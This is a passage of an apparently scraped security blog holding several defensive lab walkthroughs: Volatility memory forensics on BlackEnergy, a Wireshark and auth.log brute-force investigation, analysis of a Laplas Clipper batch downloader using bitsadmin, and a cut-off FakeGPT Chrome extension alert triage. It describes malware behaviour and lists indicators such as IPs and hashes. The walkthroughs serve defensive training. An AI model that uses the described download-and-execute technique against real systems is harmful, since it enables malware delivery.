\u0026ndash;profile=WinXPSP2x86 malfind\nAfter going through the output, we\u0026rsquo;ll find a couple of processes but there is one that seems a little suspicious. Notice the ASCII string MZ and the corresponding hex (4D 5A)? This is the magic byte that indicates the file\u0026rsquo;s format. In this example it appears that a Windows executable is injected into this process — that\u0026rsquo;s probably not good.\nBut we don\u0026rsquo;t have a clear answer if this is malicious yet. Let\u0026rsquo;s do some additional research about malfind to understand if we are interpreting the results correctly.\nBelow is an excerpt from an excellent blog on Volatility forensics from security company Varonis:\nAs an incident responder when using €˜malfind\u0026rsquo; if you see these values within a process then it is very likely you have identified a piece of malware that has injected itself into another process.\nOkay, this gives us a bit more confidence that we\u0026rsquo;ve found the correct process to answer Question 5 but let\u0026rsquo;s perform one last check. We\u0026rsquo;re going to dump this process, check it against VirusTotal, and see if it is malicious or not. To dump the process, we can use the command below which specifies the PID (-p) of the malicious process and the output directory for the dump (-D).\nvol.py -f CYBERDEF-567078-20230213-171333.raw \u0026ndash;profile=WinXPSP2x86 malfind -p 880 -D Now that we have a dump of the process, we can use the SHA256sum command to get the SHA256 file hash of the process.\nsha256sum process.0x89aab590.0x980000.dmp\nFinally, submit the hash to VirusTotal — the number of detection hits confirms that the process was injected with malicious code.\nQuestion 6: There is an odd file referenced in the recent process. Provide the full path of that file. Now that we have dumped the process and confirmed that it is malicious, let\u0026rsquo;s pivot and do some static analysis on the dumped file. To find the answer to Question 6, we\u0026rsquo;ll use the strings command from the terminal to pull out text inside of the file that we can analyze.\nstrings process.0x89aab590.0x980000.dmp\nAfter running the strings command, scroll through the output to look for any \u0026quot; # \u0026quot;\nodd\u0026rdquo; referenced files or paths.\nToward the end of the output, we\u0026rsquo;ll stumble across the highlighted path to a .sys file — this is the file we are looking for!\nQuestion 7: What is the name of the injected dll file loaded from the recent process? Now, let\u0026rsquo;s jump back into the Volatility help and see what options we have for analyzing DLL files. We can do the same method we did in Question 5 and _grep\u0026quot;dll\u0026quot;to see the available commands.\nvol.py -h | grep -i \u0026ldquo;dll\u0026rdquo;\nLet\u0026rsquo;s start with the dlllist option, focusing on the malicious process we found back in Question 5 to see if anything sticks out as suspicious.\nvol.py -f CYBERDEF-567078-20230213-171333.raw \u0026ndash;profile=WinXPSP2x86 dlllist -p 880\nAfter a quick review, nothing seems obviously suspicious with the dlllist output. Let\u0026rsquo;s refer back to the Volatility Command Reference and see if we can discover more about another DLL command — ldrmodules.\nThere are many ways to hide a DLL. One of the ways involves unlinking the DLL from one (or all) of the linked lists in the PEB. However, when this is done, there is still information contained within the VAD (Virtual Address Descriptor) which identifies the base address of the DLL and its full path on disk. To cross-reference this information (known as memory mapped files) with the 3 PEB lists, use the ldrmodules command.\nSo, using the ldrmodules command might help us discover a hidden DLL which has been unlinked from all the lists in the Process Environment Block (PEB) which contains information about loaded DLLS.\nLet\u0026rsquo;s try it and filter on the malicious PID:\nvol.py -f CYBERDEF-567078-20230213-171333.raw \u0026ndash;profile=WinXPSP2x86 ldrmodules -p 880\nOne of these DLLs is not like the others and is pretty suspicious. Notice the highlighted DLL is not present in any of the three linked PEB lists — I think we found our answer!\nQuestion 8: What is the base address of the injected dll? Okay, we\u0026rsquo;ve made it to the last question! How can we find the base address of the injected DLL we just uncovered? We know from the last question that the dlllist command doesn\u0026rsquo;t list the DLL. We also know that ldrmodules does list an address, but it\u0026rsquo;s too long to fit the answer format. What to do, what to do?\nWell, let\u0026rsquo;s fall back to the malfind output that we used back in Question 5. Remember that there was an Address for the suspicious process listed? Let\u0026rsquo;s try that one\u0026hellip;\nHey, that worked! Now that we have uncovered the base address of the injected dll, let\u0026rsquo;s wrap up this investigation.\nConclusion: Mission accomplished! With the help of Volatility, we successfully identified the suspicious processes, hunted for evidence of process injection, and uncovered malicious DLLs to assess the scope and impact of this malware. With the objectives completed, let\u0026rsquo;s close out this walkthrough of the BlackEnergy Lab challenge!\nA big thank you to CyberDefenders for another engaging and challenging lab. This lab was a great example of the importance of memory dump analysis during DFIR cases and showcased some excellent scenarios for analyzing memory artifacts. It\u0026rsquo;s been a while since I\u0026rsquo;ve worked with Volatility hands-on, and it\u0026rsquo;s always a fun and insightful to practice with the tool. This time was no different, especially since I had no previous experience with Volatility 2 and have only worked with Volatility 3 in the past, so there was an added learning component for me too!\nPlease don\u0026rsquo;t forget that if you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, give it a clap! Your feedback lets me know that I helped you out on your security journey. We\u0026rsquo;re in this together! Thanks for the support!\nUntil next week\u0026rsquo;s challenge — stay curious and be safe out there!\nTools \u0026amp; References: REMnux: https://remnux.org/\nVolatility Framework Website: https://volatilityfoundation.org/the-volatility-framework/\nVolatility GitHub: https://github.com/volatilityfoundation/volatility\nVolatility Wiki Command Reference: https://github.com/volatilityfoundation/volatility/wiki/Command-Reference\nVolatility Wiki Command Reference — Mal: https://github.com/volatilityfoundation/volatility/wiki/Command-Reference-Mal\nVirusTotal: https://www.virustotal.com/gui/file/8638ab1e5f9ba4cffc66400d36d47f7805733fae828a0cace9421d0bd83eaefa\nMITRE ATT\u0026amp;CK — Process Injection (T1055): https://attack.mitre.org/techniques/T1055/\nVaronis: https://www.varonis.com/blog/how-to-use-volatility\n","date":"2024-09-22T00:00:00Z","image":"/posts/cyberdefenders-blackenergy-lab-walkthrough/43d5088d6cbaa992c7e8268eb8c3aa1c_MD5.png","permalink":"/posts/cyberdefenders-blackenergy-lab-walkthrough/","title":"CyberDefenders — BlackEnergy Lab Walkthrough"},{"content":"LetsDefend— Brute Force Attacks Challenge Walkthrough Investigating a Brute Force Attack with Wireshark and Auth.log Image Credit: https://letsdefend.io/\nIntroduction: Welcome to my weekly walkthrough! Imagine this: a web server has been compromised, and you\u0026rsquo;re handed a network packet capture file along with the server\u0026rsquo;s authentication log to figure out what was accessed and how it happened. If this sounds exciting to you, you\u0026rsquo;ve stumbled on the right blog!\nThis week\u0026rsquo;s mission is the Brute Force Attacks incident response challenge from LetsDefend. To solve this challenge, we\u0026rsquo;ll use Wireshark to discover the scope of a brute force attack, including the server\u0026rsquo;s IP, the targeted directory, the number of login attempts made, and which accounts were ultimately compromised. But that\u0026rsquo;s not all. Using the web server\u0026rsquo;s auth.log file, we\u0026rsquo;ll also determine if the attacker was targeting SSH and if they were able to brute force their way into any accounts. Sounds like a fun time, right? Let\u0026rsquo;s get to it!\nAnd hey, if you find this walkthrough helpful in leveling up your skills or getting you through a tricky question, please give it a clap! Your feedback lets me know that I helped you out on your security journey. Thanks for reading!\nChallenge Link: https://app.letsdefend.io/challenge/brute-force-attacks\nChallenge Scenario: Our web server has been compromised, and it\u0026rsquo;s up to you to investigate the breach. Dive into the system, analyze logs, dissect network traffic, and uncover clues to identify the attacker and determine the extent of the damage. Are you up for the challenge?\nQuestion 1: What is the IP address of the server targeted by the attacker\u0026rsquo;s brute-force attack? Let\u0026rsquo;s get going! The first thing we need to do is extract the BruteForce.7z archive from within the ChallengeFile folder on the Desktop. Once it\u0026rsquo;s extracted, we\u0026rsquo;ll have two evidence files:\nBruteForce.pcap auth.log The first file, BruteForce.pcap is a network packet capture file that we can open with Wireshark. The second, auth.log, is the web server\u0026rsquo;s authentication log that will help us find successful and failed logins. Throughout this investigation, we\u0026rsquo;ll use both the web server log and the network traffic log to investigate.\nTo tackle Question 1, let\u0026rsquo;s check out BruteForce.pcap first. We can double-click the file to open it Wireshark where we can start to analyze the packets.\nSince there are thousands of packets to sort through, let\u0026rsquo;s start with a birds-eye view to understand what the IP addresses have the most traffic. This will help us narrow down which addresses we want to analyze further.\nTo do this in Wireshark let\u0026rsquo;s utilize the Statistics \u0026gt; Endpoints \u0026gt; IPv4 view. This will provide a summary of all the IPv4 addresses in the pcap.\nUsing this view, we see several private IP addresses (192.168.190.x) and several public IP addresses. But notice the number of packets — there are only two IPs responsible for the overwhelming amount of traffic.\nRemember, we\u0026rsquo;re looking for the target IP address of a web server which are usually internet-facing. Using our powers of deduction, the target server is the one with the public IP address of 51[.]116[.]96[.]181.\nQuestion 2: Which directory was targeted by the attacker\u0026rsquo;s brute-force attempt? Okay, now that we know the IP address of the web server let\u0026rsquo;s do some further investigating in Wireshark.\nSince web servers typically accept connections on ports 80 (HTTP) and 443 (HTTPS), let\u0026rsquo;s use Wireshark\u0026rsquo;s filter toolbar focus on the HTTP protocol. This will let us see the captured HTTP requests sent to the server.\nAfter filtering for HTTP, we now see hundreds of HTTP POST requests sent to the web server targeting the index.php directory.\nQuestion 3: Identify the correct username and password combination used for login. Yikes! Based on the question, the attacker was able to find a valid username/password combination and gained access to the server.\nTo answer Question 3, we have to find the credentials used for authentication within the pcap. Fortunately, we can find this information quickly by leveraging Wireshark\u0026rsquo;s search function to search the packets for a keyword.\nBut first, we need to figure out what we are searching for exactly. For each HTTP POST request, the web server returns a response. Look at any of the responses sent from the server:\nEach incorrect response returns the message \u0026gt;incorrect in red. So, maybe correct responses return \u0026gt;correct? Let\u0026rsquo;s find out! Rather than manually review all these records, let\u0026rsquo;s finally use Wireshark\u0026rsquo;s search functionality.\nPress CTRL + F or press the magnifying glass to bring up the find/search bar, then select String, and finally select Packet details so we can search within the middle \u0026quot; # \u0026ldquo;packet details\u0026quot;window.\nNow enter \u0026gt;correct into the search box.\nHey, we\u0026rsquo;ve got a hit! Now, right-click the packet and select Follow \u0026gt; HTTP Stream.\nWith visibility into the complete HTTP Stream of the \u0026quot; # \u0026quot;\ncorrect\u0026rdquo; login, we can now identify the username and password sent in the POST request to the server!\nQuestion 4: How many user accounts did the attacker attempt to compromise via RDP brute-force? Now let\u0026rsquo;s determine how many usernames the attacker tried to brute force. To do this, let\u0026rsquo;s adjust our filters to narrow the scope from all HTTP traffic to only show the HTTP POST requests to the web server.\nhttp \u0026amp;\u0026amp; ip.dst==51.116.96.181\nDo you see that each one captured a username form item?\nScrolling through the packets, we will see a few user accounts listed, but we can search much more efficiently with another method outside of Wireshark. To start, we\u0026rsquo;ll export the displayed packets to a plain text file.\nPress File \u0026gt; Export Packet Dissections \u0026gt; As Plain Text\u0026hellip;\nNow, choose a File name and press Save. This will export the packets we have filtered into a text file. For this walkthrough, I\u0026rsquo;ll call my output file HTTPexport.txt.\nNow, we\u0026rsquo;ll open the terminal and use grep to search the text file, displaying only the lines matching \u0026quot; # \u0026ldquo;username\u0026quot;and then removing any duplicate entries.\ncat HTTPexport.txt | grep -i \u0026ldquo;username\u0026rdquo; | uniq\nUsing this method provides us the total number of user accounts targeted by the attacker!\nQuestion 5: What is the \u0026quot; # \u0026quot; clientName\u0026rdquo; of the attacker\u0026rsquo;s machine?\nPreviously we focused only on HTTP protocol traffic. Now we need to zoom out and search the rest of the pcap since the attacker\u0026rsquo;s machine name is not available in the HTTP request data.\nBut what are we looking for exactly? Let\u0026rsquo;s take the question literally and perform a search for the string \u0026quot; # \u0026ldquo;clientname\u0026quot;like we did back in Question 3.\nThis search will identify Remote Desktop Protocol (RDP) traffic directed towards the web server. In the packet details pane, the attacker\u0026rsquo;s client name will be visible in the clientName field of the Remote Desktop Protocol ClientData.\nQuestion 6: When did the user last successfully log in via SSH, and who was it? Now, rather than focus on HTTP or RDP events like we have in the previous questions, we\u0026rsquo;re going to look for Secure Shell (SSH) events — there\u0026rsquo;s just one problem, we can\u0026rsquo;t find them in Wireshark. That\u0026rsquo;s Okay! For this task we\u0026rsquo;ll pivot to the second challenge file, auth.log.\nOpen the log file in any text editor. Once it\u0026rsquo;s open, we\u0026rsquo;ll simply use the built-in search/find tool and look for ssh.\nThere are thousands of hits! Let\u0026rsquo;s review some of the ssh logging events and observe that successful login attempts contain the string \u0026quot; # \u0026ldquo;Accepted password\u0026quot;along with the username, IP address, and source port.\nThis means we can search the log for entries containing \u0026quot; # \u0026ldquo;Accepted password\u0026quot;to determine how many times the attacker logged and then navigate to the last result (it\u0026rsquo;s in ascending order) to find the last login and answer Question 6.\nQuestion 7: How many unsuccessful SSH connection attempts were made by the attacker? From the information we gathered in Question 6, we know that successful ssh logins generate an \u0026quot; # \u0026ldquo;Accepted password\u0026quot;log entry, but you also may have noticed that unsuccessful logins generate a \u0026quot; # \u0026ldquo;Failed password\u0026quot;entry.\nSo, let\u0026rsquo;s just simply search in the text editor for \u0026quot; # \u0026ldquo;Failed password\u0026quot;which should give us the total number of failed login attempts captured in this log!\nQuestion 8: What technique is used to gain access? Okay! We\u0026rsquo;ve now analyzed the HTTP, RDP, and SSH traffic and determined that the attacker tried thousands of guesses over these different protocols to gain access to the web server. With the sheer number of attempts, we can conclude that the web server was the victim of a brute force attack.\nLet\u0026rsquo;s pivot to MITRE ATT\u0026amp;CK, a popular knowledge base of adversary tactics, techniques, and procedures to get more information and find the correct MITRE ID for this technique\u0026hellip;\nBrute Force _Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password\u0026hellip;_attack.mitre.org\nAdversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.[1] Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism.[2] Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.\nNow that we have located the correct technique ID from MITRE ATT\u0026amp;CK, let\u0026rsquo;s submit our answer and wrap up this investigation!\nConclusion: Great job! Going through this investigation, we\u0026rsquo;ve gathered the required evidence and scoped the damage caused by this brute force attack. With Wireshark, we started to paint a clearer picture of the attacker\u0026rsquo;s brute force methods and targets by pinpointing the server IP, the specific targeted directory, the number unsuccessful and successful login attempts made, and the compromised accounts. Then, by examining the web server\u0026rsquo;s auth.log file, we were able to determine the full scope of the SSH brute force attack including the number of successful and unsuccessful logins and what credentials were compromised.\nA big thank you to LetsDefend for creating another cool and engaging challenge. The sheer volume of events generated during a brute force attack makes searching through the data all the more difficult, so this challenge was really helpful to practice log analysis in the context of a brute force attack. Personally, I hadn\u0026rsquo;t had much exposure or need to look through Linux auth.log files before. After seeing how much valuable information they hold, I will definitely remember this one during future Linux investigations. I also pick up something new every time I go hands-on with Wireshark. This time, seeing what packet details are available in the HTTP POST responses was really fascinating. Thanks for reading along!\nIf you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, please give it a clap! Your feedback lets me know that I helped you out on your security journey. We\u0026rsquo;re in this together! Thanks for the support!\nUntil next week\u0026rsquo;s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Wireshark: https://www.wireshark.org/\nWikipedia — POST (HTTP): https://en.wikipedia.org/wiki/POST_(HTTP)\nMITRE ATT\u0026amp;CK — Brute Force (T1110): https://attack.mitre.org/techniques/T1110/\n","date":"2024-09-15T00:00:00Z","image":"/posts/letsdefend-brute-force-attacks-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png","permalink":"/posts/letsdefend-brute-force-attacks-challenge-walkthrough/","title":"LetsDefend — Brute Force Attacks Challenge Walkthrough"},{"content":"LetsDefend— Batch Challenge Walkthrough Investigating a Malicious Batch Script with Notepad++ \u0026amp; Microsoft Learn Image Credit: https://app.letsdefend.io/challenge/batch-downloader\nIntroduction: Have you ever wanted to analyze a batch file to determine if it malicious or safe? If this topic sounds interesting to you, you\u0026rsquo;ve stumbled on the right blog!\nWelcome to my weekly walkthrough. This week, we\u0026rsquo;re tackling the Batch Downloader from LetsDefend! This challenge has us security analysts dissecting the content of a malicious batch file (.bat) to better understand what it does.\nTo perform the investigation, we\u0026rsquo;ll use Notepad++, a powerful text editor_,_ to examine the file_._ We\u0026rsquo;ll also leverage Microsoft Learn documentation to cross-reference our findings, giving us valuable background and context to fully understand the script\u0026rsquo;s behavior. Sounds like a fun time, right? Let\u0026rsquo;s get to it!\nAnd hey, if you find this walkthrough helpful in leveling up your skills or getting you through a tricky question, please give it a clap! Your feedback lets me know that I helped you out on your security journey. Thanks for reading!\nChallenge Link: https://app.letsdefend.io/challenge/batch-downloader\nChallenge Scenario: A malicious batch file has been discovered that downloads and executes files associated with the Laplas Clipper malware. Analyze this batch file to understand its behavior and help us investigate its activities.\nQuestion 1: What command is used to prevent the command echoing in the console? Let\u0026rsquo;s kick off our investigation! Before diving into the challenge file, it\u0026rsquo;s always a smart idea to understand what tools are available to us for analysis. To check what we have, we can open the Tools folder on the Desktop of the analysis virtual machine.\nFor this challenge we will be analyzing a Batch File (.bat) which is a type of command shell script that is used in Windows environments. As the batch file can be opened and edited in a plaintext editor, we will be using Notepad++ for the analysis.\nNow, let\u0026rsquo;s navigate to the ChallengeFile folder and extract the 1.zip archive. Inside will be another nested file, go ahead and extract that one too so that we can access the malicious .bat file.\nFinally, let\u0026rsquo;s open the batch file with Notepad++ so we can begin analyzing the contents.\nTo answer Question 1, we\u0026rsquo;re looking for the command that prevents echoing to the console. Focusing on Line 1 in the script we\u0026rsquo;ll see the following:\n@echo off\nThis parameter prevents all of the commands in the script from being displayed to the console which will obfuscate what the script is doing.\nQuestion 2: Which tool is used to download a file from a specified URL in the script? Okay, to answer Question 2, we\u0026rsquo;re going to focus on Line 2 of the script.\nQuickly scanning Line 2, we see some evidence of download activity including a URL, so we\u0026rsquo;re looking in the correct spot.\nLet\u0026rsquo;s getting a better idea of what the bitsadmin command is and how it can be used to perform download jobs. Below is a description of Bitsadmin from Microsoft Learn:\nBitsadmin is a command-line tool used to create, download or upload jobs, and to monitor their progress. The bitsadmin tool uses switches to identify the work to perform.\nSo, Bitsadmin uses these switches with the syntax below to perform transfer jobs:\nbitsadmin transfer _Reference article for the bitsadmin transfer command, which transfers one or more files._learn.microsoft.com\nbitsadmin /transfer [] [/priority \u0026lt;job_priority\u0026gt;] [/ACLflags ] [/DYNAMIC] With this bit of background, we can now confirm that bitsadmin is the correct tool being used to download the file. Let\u0026rsquo;s check our work and continue the investigation!\nQuestion 3: What is the priority set for the download operation in the script? Let\u0026rsquo;s continuing dissecting the bitsadmin command on line 2 and focus on the switches used.\nReferring to the bitsadmin syntax from the previous question, we will see a /priority switch. According to the Microsoft Learn reference, there are a few options to set the priority of the download job:\npriorityOptional. Sets the priority of the job, including:\nFOREGROUND\nHIGH\nNORMAL\nLOW\nIn the case of this script, the job is set to the highest priority, FOREGROUND.\nQuestion 4: Which command is used to start localization of environment changes in the script? To answer Question 4, we need to locate a command for localization. Let\u0026rsquo;s take a closer look at line 3 — setlocal.\nGoing back to Microsoft Learn for reference, we can confirm that the setlocal command \u0026quot; # \u0026ldquo;starts localization of environment variables in a batch file.\u0026rdquo;\nQuestion 5: Which IP address is used by malicious code? Fortunately, locating the answer to Question 5 is straight forward — an IP address is readily visible in line 2.\nWhile this is the only IP address in the batch script, let\u0026rsquo;s gather some additional threat intelligence by checking it against VirusTotal to see if we can get any hits that it\u0026rsquo;s malicious:\nOkay, we\u0026rsquo;ve got a number of hits that this IP address is malicious and even some community reports attributing it to the Laplas Clipper malware mentioned in the challenge scenario!\nQuestion 6: What is the name of the subroutine called to extract the contents of the zip file? All right, back to analyzing the script. This time, we\u0026rsquo;re going to focus on lines 5 \u0026amp; 10 since we are looking for an unzip operation to extract the file downloaded from the malicious IP from Question 5.\nIf we look at line 5 there is a call to :UnZipFile and then in line 10, we\u0026rsquo;ll see the parameters of the subroutine.\nWithout dissecting each line, we can infer that this is correct subroutine that extracts the contents of the .zip file downloaded from the malicious IP.\nQuestion 7: Which command attempts to start an executable file extracted from the zip file? Based on what we learned in the previous question, we know that after download, the batch script extracts the contents of the retrieved .zip file.\nTo answer Question 7, we need to identify the command which then runs the executable (.exe) extracted from the archive. Let\u0026rsquo;s point our attention to line 7 with the start command.\nReferencing Microsoft Learn the start command \u0026quot; # \u0026ldquo;starts a separate Command Prompt window to run a specified program or command.\u0026ldquo;In our example, the script uses start to launch the malicious executable.\nNow that we have confirmed what start does, we can copy all of line 7 to answer Question 7.\nQuestion 8: Which scripting language is used to extract the contents of the zip file? We\u0026rsquo;ve made it to the last question! To answer Question 8, we\u0026rsquo;re going to revisit the UnZipFile subroutine that we looked at in Question 7.\nThere are a couple of clues here that point us to the correct answer.\nIn line 11 we see the vbs variable is setting a path ending with the .vbs extension. The second clue is the command in line 22, cscript. Cscript is a command typically used to run Windows Script files, like .vbs files. But what is a .vbs file then? It is a file extension for VBScript. VBScript is an older scripting language that is used to automate tasks on Windows systems.\nIn the malicious script we are analyzing, it is used to extract the contents of the .zip file.\nConclusion: And there we have it! We\u0026rsquo;ve successfully analyzed the malicious batch file to and dug into the details of how it works. With the help of Notepad++, we\u0026rsquo;ve identified how the script downloads a second-stage payload, detailed where it downloads from, how it\u0026rsquo;s extracted, and how it is executed.\nWith our objectives completed, let\u0026rsquo;s close out this walkthrough of the Batch Downloader challenge!\nA big thank you to LetsDefend for another educational (and fun) challenge! While this challenge is intended for beginners, it\u0026rsquo;s always extremely valuable to brush up on our research skills. Using Microsoft Learn to add context helped me gain a much better understanding of how this script works and various areas that we could improve our defenses against these types of attacks.\nAgain, if you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, please give it a clap! Your feedback lets me know that I helped you out on your security journey. We\u0026rsquo;re in this together! Thanks for the support!\nUntil next week\u0026rsquo;s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Microsoft Learn (Windows Commands): https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/windows-commands\nNotepad++: https://notepad-plus-plus.org/\nMicrosoft Learn (Echo): https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/echo\nMicrosoft Learn (Bitsadmin): https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin\nMicrosoft Learn (Bitsadmin Transfer): https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-transfer\nMicrosoft Learn (setlocal): https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/setlocal\nVirusTotal: https://www.virustotal.com/gui/ip-address/193.169.255.78/detection\nMicrosoft Learn (start): start | Microsoft Learn\nMicrosoft Learn (cscript): Cscript | Microsoft Learn\nWikipedia (VBScript): VBScript — Wikipedia\n","date":"2024-09-08T00:00:00Z","image":"/posts/letsdefend-batch-challenge-walkthrough/4235f4abca0b0ec0698c3b75f0db4f78_MD5.png","permalink":"/posts/letsdefend-batch-challenge-walkthrough/","title":"LetsDefend — Batch Challenge Walkthrough"},{"content":"LetsDefend — SOC202 — FakeGPT Malicious Chrome Extension Investigation Walkthrough Investigating a Malicious Chrome Extension inside a simulated SOC Image Credit: https://letsdefend.io/\nIntroduction: Ever wondered what it\u0026rsquo;s like to be a Security Operations Center (SOC) analyst or how to approach investigating a malicious Google Chrome extension? If so, you\u0026rsquo;ve stumbled on the right blog!\nWelcome to my weekly walkthrough! This week, we\u0026rsquo;re taking a break from the usual challenge write-up format to tackle the SOC202 — FakeGPT Malicious Chrome Extension \u0026quot; # \u0026quot;\nalert\u0026quot; from LetsDefend.\nWhy the quotes? Well, in addition to scenario-based challenges, LetsDefend provides realistic alert scenarios in a simulated SOC to provide a hands-on experience with a SOC analyst\u0026rsquo;s workflow!\nIn this walkthrough, we\u0026rsquo;re going to go through the full triage of a simulated alert for a malicious Chrome extension installed onto a victim\u0026rsquo;s device. The triage process will include:\nTaking ownership of the alert. Investigating endpoint logs to understand if the file was detected and quarantined by the antimalware solution. Leveraging external threat intelligence for context about the suspicious extension. Hunting through network logs to determine if the extension contacted the command and control server. Documenting discovered artifacts, creating case notes, and closing the alert. We\u0026rsquo;ve got a full plate here, so I hope you\u0026rsquo;re hungry to learn. Let\u0026rsquo;s get started — thanks for joining me!\nChallenge Link: https://app.letsdefend.io/monitoring\nAlert Scenario: Task 1 — We\u0026rsquo;re on the case: First thing\u0026rsquo;s first. Before we can dive into the investigation, we\u0026rsquo;ll need to assign the SOC202 — FakeGPT Malicious Chrome Extension alert to ourselves and create a case where we manage our workflow, artifacts, and notes.\nFrom the _Monitoring \u0026gt; Main Channe_l tab, let\u0026rsquo;s take the alert from the \u0026quot; # \u0026quot;\nqueue\u0026quot; and assign it to ourselves.\nThen, from the Monitoring \u0026gt; Investigation Channel we\u0026rsquo;ll create the case:\nPress Continue and we\u0026rsquo;ll be taken to the Case Management tab where we\u0026rsquo;ll keep track of our case and initiate the incident response playbook for this event.\nPro Tip: We\u0026rsquo;ll need to keep the Case Management window open to manage the playbook steps and to answer questions, but you\u0026rsquo;ll also need access to the various tabs (Log Management, Endpoint Security, etc.) on your dashboard available during the investigation. So, it\u0026rsquo;s best to open two tabs/windows in your browser so you can keep the case open on one and investigate with the other.\nNow that we have the case opened, let\u0026rsquo;s follow the playbook and start our investigation!\nTask 2: Check if the malware is quarantined/cleaned Okay, once we click \u0026quot; # \u0026ldquo;Start Playbook!\u0026ldquo;we\u0026rsquo;re jumping right into the investigation and the first step is to the Define Threat Indicator we\u0026rsquo;re investigating. While we have a couple of pre-made choices to select from, none of them are a good fit since the indicator that triggered the alert is a suspicious browser extension or potential malware, so we\u0026rsquo;ll select Other.\nNow, following the playbook, the first step we\u0026rsquo;ll take is to determine if the malware has been quarantined/cleaned or if it\u0026rsquo;s currently active. Reviewing the triggered reason, Suspicious extension added to the browser, the action was allowed. Because of this action we might already assume the file wasn\u0026rsquo;t quarantined. It\u0026rsquo;s a good start, but it\u0026rsquo;s always the best practice to double-verify with the available logs.\nSo, let\u0026rsquo;s go a bit deeper and dive into data to understand what happened. To do this, we have a couple of logging sources at our disposal: Log Management \u0026amp; Endpoint Security. Since we\u0026rsquo;re searching for an Antivirus action, let\u0026rsquo;s focus on the Endpoint Security logs first since that is the place to find endpoint-level malware logging.\nBut first, let\u0026rsquo;s refer back to the alert to recall the victim\u0026rsquo;s hostname and IP address:\nHostname: Samuel \u0026amp; IP Address: 172.16.17.173\nNow, we can begin searching the Endpoint Security log for Samuel\u0026rsquo;s workstation, correlating the events, and looking for any hits that the malicious extension was quarantined by the endpoint\u0026rsquo;s antimalware solution.\nIt\u0026rsquo;s personal preference, but I\u0026rsquo;m going to change the results display drop-down from 10 to 20 to see all the log entries on one page. I also like to switch the Event Time column to descending (DESC) order — your choice though!\nNext, let\u0026rsquo;s look at the Process Logs. Here we\u0026rsquo;ll find an event for Google Chrome (chrome.exe) where the suspicious extension (.crx) was opened with the browser with a timestamp that matches the alert. This establishes a point in time so that we can search the logs of events that occurred after this timestamp.\nFinally, let\u0026rsquo;s focus now specifically on events from Microsoft Defender to see if any quarantine action was taken. But how do we know the endpoint is using Microsoft Defender? Notice the event right after the chrome.exe event we looked at earlier. The file path of the executable is a nice hint, but browsing the process names we\u0026rsquo;ll see MpCmdRun.exe which is the command-line tool component of Microsoft Defender Antivirus.\nSo, putting this all together, if we filter the Microsoft Defender process name and look for events after the malware was run, this will help us understand if Defender took any actions against the malicious file.\nBased on the command line data, the three entries seem related to signature update jobs and are not quarantine actions. Between the Process events and the allowed action in the alert, we have enough evidence to confirm that the malware was Not Quarantined. Let\u0026rsquo;s go back to our Case Management tab, select the answer, and move on to the next step in the workflow.\nTask 3: Analyze malware in 3rd party tools and find C2 address Now that we\u0026rsquo;ve determined that the suspicious extension was not quarantined by the endpoint\u0026rsquo;s antimalware solution, we\u0026rsquo;ll need to analyze it further using the provided tools to determine if it is indeed malicious or not.\nThe playbook suggests the following web-based services that we can use to gather threat intelligence about the extension:\nAnyRun VirusTotal URLHouse URLScan HybridAnalysis First, let\u0026rsquo;s jump back to the Alert in the Monitoring \u0026gt; Investigation Channel so we can copy the File Hash of the malicious extension.\nIf you aren\u0026rsquo;t familiar with file hashes, here\u0026rsquo;s a brief description from Microsoft:\nA hash value is a unique value that corresponds to the content of the file. Rather than identifying the contents of a file by its file name, extension, or other designation, a hash assigns a unique value to the contents of a file. File names and extensions can be changed without altering the content of the file, and without changing the hash value. Similarly, the file\u0026rsquo;s content can be changed without changing the name or extension. However, changing even a single character in the contents of a file changes the hash value of the file.\nSo, put another way, using the file hash of the suspicious extension during our searches means that we\u0026rsquo;re getting data about the identical, exact file that was installed on Samuel\u0026rsquo;s workstation giving us a high degree of confidence compared to searching a file name or something easy to manipulate.\nFile Name: hacfaophiklaeolhnmckojjjjbnappen.crx\nFile Hash: 7421f9abe5e618a0d517861f4709df53292a5f137053a227bfb4eb8e152a4669\nLet\u0026rsquo;s start with the first service on the list, ANY.RUN. Here, we can search for that file hash, view previous public submissions, and dive into the analysis results. Let\u0026rsquo;s check out the result with the closest timestamp to the Event Time (May 29, 2023, 01:01 PM) of the alert.\nhttps://app.any.run/tasks/99055672-d173-4fd6-afc2-7a45c84c3448/\nScrolling through the screenshots, we\u0026rsquo;ll get a better idea of what this extension is — a suspicious looking ChatGPT extension.\nhttps://app.any.run/tasks/99055672-d173-4fd6-afc2-7a45c84c3448/\nThis finding also matches something we can observe back in Samuel\u0026rsquo;s Endpoint Security \u0026gt; Browser History logs.\nWhile we\u0026rsquo;ve gotten some more context, nothing was explicitly flagged as malicious on ANY.RUN so let\u0026rsquo;s pivot and check out the next service on the list, VirusTotal.\nAfter submitting the file hash to VirusTotal and reviewing the available tabs, we still have no hits indicating concretely that this extension is malicious but what we do have is a comment in the Community tab linking to an external report from Guardio.\nThis could be a lead! Let\u0026rsquo;s check out the report.\n[**\u0026rdquo; # \u0026quot;\nFakeGPT\u0026rdquo; : New Variant of Fake-ChatGPT Chrome Extension Stealing Facebook Ad Accounts with\u0026hellip;** _By Nati Tal (Guardio Labs)_labs.guard.io](https://labs.guard.io/fakegpt-new-variant-of-fake-chatgpt-chrome-extension-stealing-facebook-ad-accounts-with-4c9996a8f282 \u0026ldquo;https://labs.guard.io/fakegpt-new-variant-of-fake-chatgpt-chrome-extension-stealing-facebook-ad-accounts-with-4c9996a8f282\")[](https://labs.guard.io/fakegpt-new-variant-of-fake-chatgpt-chrome-extension-stealing-facebook-ad-accounts-with-4c9996a8f282)\nReading the post, assessing the screenshots, and reviewing the indicators of compromise (IOCs) listed in the article, it also doesn\u0026rsquo;t seem to match any of the artifacts that we have located so far in the 